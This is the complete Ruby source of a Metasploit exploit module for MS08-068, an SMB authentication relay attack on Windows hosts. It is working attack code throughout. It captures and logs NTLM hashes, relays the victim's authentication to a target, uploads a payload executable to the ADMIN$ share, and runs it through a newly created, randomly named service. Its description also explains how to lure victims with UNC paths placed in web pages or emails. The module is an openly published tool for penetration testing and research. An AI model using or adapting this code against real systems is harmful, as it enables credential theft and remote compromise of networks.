## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## =begin Windows XP systems that are not part of a domain default to treating all network logons as if they were Guest. This prevents SMB relay attacks from gaining administrative access to these systems. This setting can be found under: Local Security Settings > Local Policies > Security Options > Network Access: Sharing and security model for local accounts =end require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Server include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution', 'Description' => %q{ This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken. }, 'Author' => [ 'hdm', # All the work 'juan vazquez' # Add NTLMSSP support to the exploit ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'References' => [ [ 'CVE', '2008-4037'], [ 'OSVDB', '49736'], [ 'MSB', 'MS08-068'], [ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'], [ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ], [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ], 'Arch' => [ARCH_X86, ARCH_X86_64], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Mar 31 2001', 'DefaultTarget' => 0 )) register_options( [ OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]), OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]) ], self.class ) end if (not const_defined?('NDR')) NDR = Rex::Encoder::NDR end def smb_haxor(c) smb = @state[c] rclient = smb[:rclient] if (@pwned[smb[:rhost]]) print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.") return end unless smb[:ntlmssp] || rclient.client.auth_user print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") return end print_status("Connecting to the defined share...") rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") @pwned[smb[:rhost]] = true print_status("Regenerating the payload...") code = regenerate_payload(smb[:rsock]) # Upload the shellcode to a file print_status("Uploading payload...") filename = rand_text_alpha(8) + ".exe" servicename = rand_text_alpha(8) fd = rclient.open("\\#{filename}", 'rwct') exe = '' opts = { :servicename => servicename, :code => code.encoded } if (datastore['PAYLOAD'].include? 'x64') opts.merge!({ :arch => ARCH_X64 }) end exe = generate_payload_exe_service(opts) fd << exe fd.close print_status("Created \\#{filename}...") # Disconnect from the SHARE rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") print_status("Connecting to the Service Control Manager...") rclient.connect("\\\\#{smb[:rhost]}\\IPC$") dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl") ## # OpenSCManagerW() ## print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{smb[:rhost]}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CreateServiceW() ## servicename = rand_text_alpha(8) displayname = rand_text_alpha(rand(32)+1) svc_handle = nil svc_status = nil print_status("Creating a new service...") stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end ## # OpenServiceW ## print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # StartService() ## print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e return #print_error("Error: #{e}") end ## # DeleteService() ## print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$") print_status("Deleting \\#{filename}...") rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}") rclient.delete("\\#{filename}") end def smb_dcerpc(c, uuid, version, pipe) smb = @state[c] opts = { 'Msf' => framework, 'MsfExploit' => self, 'smb_pipeio' => 'rw', 'smb_client' => smb[:rclient] } handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe]) dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts) end def smb_cmd_dispatch(cmd, c, buff) smb = @state[c] @pwned ||= {} case cmd when CONST::SMB_COM_NEGOTIATE smb_cmd_negotiate(c, buff) when CONST::SMB_COM_SESSION_SETUP_ANDX smb_cmd_session_setup(c, buff) when CONST::SMB_COM_TREE_CONNECT print_status("Denying tree connect from #{smb[:name]}") pkt = CONST::SMB_BASE_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022 c.put(pkt.to_s) else print_status("Ignoring request from #{smb[:name]} (#{cmd})") pkt = CONST::SMB_BASE_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = cmd pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022 c.put(pkt.to_s) end end def smb_cmd_negotiate(c, buff) smb = @state[c] pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) # Record the remote process ID smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] flags2 = pkt['Payload']['SMB'].v['Flags2'] extended_security = (flags2 & 0x800 == 0x800) group = '' machine = smb[:nbsrc] dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}") dialect = dialects.index("NT LM 0.12") || dialects.length-1 # Dialect selected, now we try to the target system target_host = datastore['SMBHOST'] if (not target_host or target_host.strip.length == 0) target_host = smb[:ip] end # If extended security isn't supported or we're trying reflection # ntlmv1 should be used, otherwise, use ntlmssp if extended_security && target_host != smb[:ip] smb[:ntlmssp] = true negotiate_ntlmssp(smb, target_host) else smb[:ntlmssp] = false negotiate_ntlmv1(smb, target_host) end rclient = smb[:rclient] # Negotiation has failed, just return unless rclient && rclient.client return end pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct smb_set_defaults(c, pkt) time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 17 pkt['Payload'].v['Dialect'] = dialect pkt['Payload'].v['SecurityMode'] = 3 pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['MaxVCS'] = 1 pkt['Payload'].v['MaxBuff'] = 4356 pkt['Payload'].v['MaxRaw'] = 65536 pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd pkt['Payload'].v['ServerTime'] = time_lo pkt['Payload'].v['ServerDate'] = time_hi pkt['Payload'].v['Timezone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 if smb[:ntlmssp] pkt['Payload'].v['KeyLength'] = 0 pkt['Payload'].v['Payload'] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp else pkt['Payload'].v['KeyLength'] = 8 pkt['Payload'].v['Payload'] = rclient.client.challenge_key + Rex::Text.to_unicode(group) + "\x00\x00" + Rex::Text.to_unicode(machine) + "\x00\x00" end c.put(pkt.to_s) end def negotiate_ntlmv1(smb, target_host) rsock = nil rport = nil [445, 139].each do |rport_| rport = rport_ begin rsock = Rex::Socket::Tcp.create( 'PeerHost' => target_host, 'PeerPort' => rport, 'Timeout' => 3, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) break if rsock rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}") end end unless rsock print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") return end rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false) begin rclient.login_split_start_ntlm1(smb[:nbsrc]) rescue ::Interrupt raise $! rescue ::Exception => e print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}") raise e end unless rclient.client.challenge_key print_error("No challenge key received from #{smb[:ip]}:#{rport}") rsock.close return end if smb[:rsock] smb[:rsock].close end smb[:rsock] = rsock smb[:rclient] = rclient smb[:rhost] = target_host end def negotiate_ntlmssp(smb, target_host) rsock = nil rport = 445 begin rsock = Rex::Socket::Tcp.create( 'PeerHost' => target_host, 'PeerPort' => rport, 'Timeout' => 3, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}") end unless rsock print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.") return end rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true) rclient.client.negotiate(true) # extended security true unless rclient.client.server_guid print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}") rsock.close return end # If in the answer the Extended Security Negotiation (Flags2) is set # we need to proceed like that! rclient.client.require_signing = false if (smb[:rsock]) smb[:rsock].close end smb[:rsock] = rsock smb[:rclient] = rclient smb[:rhost] = target_host end def smb_cmd_session_setup(c, buff) smb = @state[c] if smb[:ntlmssp] pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct else pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct end pkt.from_s(buff) capabilities = pkt['Payload'].v['Capabilities'] extended_security = (capabilities & 0x80000000 == 0x80000000) if extended_security smb_cmd_session_setup_ntlmssp(c, buff) else smb_cmd_session_setup_ntlmv1(c, buff) end end def smb_cmd_session_setup_ntlmv1(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt.from_s(buff) # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] lm_len = pkt['Payload'].v['PasswordLenLM'] nt_len = pkt['Payload'].v['PasswordLenNT'] lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0] nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] buff = pkt['Payload'].v['Payload'] buff.slice!(0, lm_len + nt_len) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } smb[:username] = names[0] smb[:domain] = names[1] smb[:peer_os] = names[2] smb[:peer_lm] = names[3] # Clean up the data for loggging if (smb[:username] == "") smb[:username] = nil end if (smb[:domain] == "") smb[:domain] = nil end print_status( "Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " + "LMHASH:#{lm_hash ? lm_hash : ""} NTHASH:#{nt_hash ? nt_hash : ""} " + "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}" ) if (lm_hash == "" or lm_hash == "00") lm_hash = nil end if (nt_hash == "") nt_hash = nil end if (lm_hash or nt_hash) rclient = smb[:rclient] print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...") res = nil begin res = rclient.login_split_next_ntlm1( smb[:username], smb[:domain], [ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"), [ (nt_hash ? nt_hash : "00" * 24) ].pack("H*") ) rescue XCEPT::LoginError end if res print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...") smb_haxor(c) else print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...") end end print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}") pkt = CONST::SMB_BASE_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022 c.put(pkt.to_s) end def smb_cmd_session_setup_ntlmssp(c, buff) smb = @state[c] buff_copy = buff.dup pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt.from_s(buff_copy) blob_length = pkt['Payload'].v['SecurityBlobLen'] blob = pkt['Payload'].v['Payload'][0, blob_length] #detect if GSS is being used I need to fix this code.... but if blob[0,7] == 'NTLMSSP' c_gss = false else c_gss = true start = blob.index('NTLMSSP') if start blob.slice!(0,start) else print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end end ntlm_message = NTLM_MESSAGE::parse(blob) case ntlm_message when NTLM_MESSAGE::Type1 smb_cmd_ntlmssp_negotiate(c, buff) when NTLM_MESSAGE::Type3 smb_cmd_ntlmssp_auth(c, buff) else smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end end def smb_cmd_ntlmssp_negotiate(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt.from_s(buff) smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] security_blob_length = pkt['Payload'].v['SecurityBlobLen'] security_blob = pkt['Payload'].v['Payload'][0, security_blob_length] print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}") rclient = smb[:rclient] rclient.client.session_setup_with_ntlmssp_blob(security_blob, false) print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}") resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] security_blob_length = resp['Payload'].v['SecurityBlobLen'] security_blob = resp['Payload'].v['Payload'][0, security_blob_length] print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}") challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct smb_set_defaults(c, challenge) native_data = '' native_data << "Unix\x00" #Native OS native_data << "Samba\x00" #Native LanMAN challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED challenge['Payload']['SMB'].v['Flags1'] = 0x80 challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing challenge['Payload']['SMB'].v['WordCount'] = 4 challenge['Payload'].v['AndX'] = 0xFF challenge['Payload'].v['Reserved1'] = 0x00 challenge['Payload'].v['AndXOffset'] = 0 challenge['Payload'].v['Action'] = 0x0000 challenge['Payload'].v['SecurityBlobLen'] = security_blob_length challenge['Payload'].v['Payload'] = security_blob + native_data c.put(challenge.to_s) end def smb_cmd_ntlmssp_auth(c, buff) smb = @state[c] pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt.from_s(buff) smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response") security_blob_length = pkt['Payload'].v['SecurityBlobLen'] security_blob = pkt['Payload'].v['Payload'][0, security_blob_length] smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}") rclient = smb[:rclient] rclient.client.session_setup_with_ntlmssp_blob( security_blob, false, rclient.client.auth_user_id ) resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) #check if auth was successful if (resp['Payload']['SMB'].v['ErrorClass'] == 0) print_good("SMB auth relay against #{smb[:rhost]} succeeded") smb_haxor(c) else failure = Rex::Proto::SMB::Exceptions::ErrorCode.new failure.word_count = resp['Payload']['SMB'].v['WordCount'] failure.command = resp['Payload']['SMB'].v['Command'] failure.error_code = resp['Payload']['SMB'].v['ErrorClass'] raise failure end end end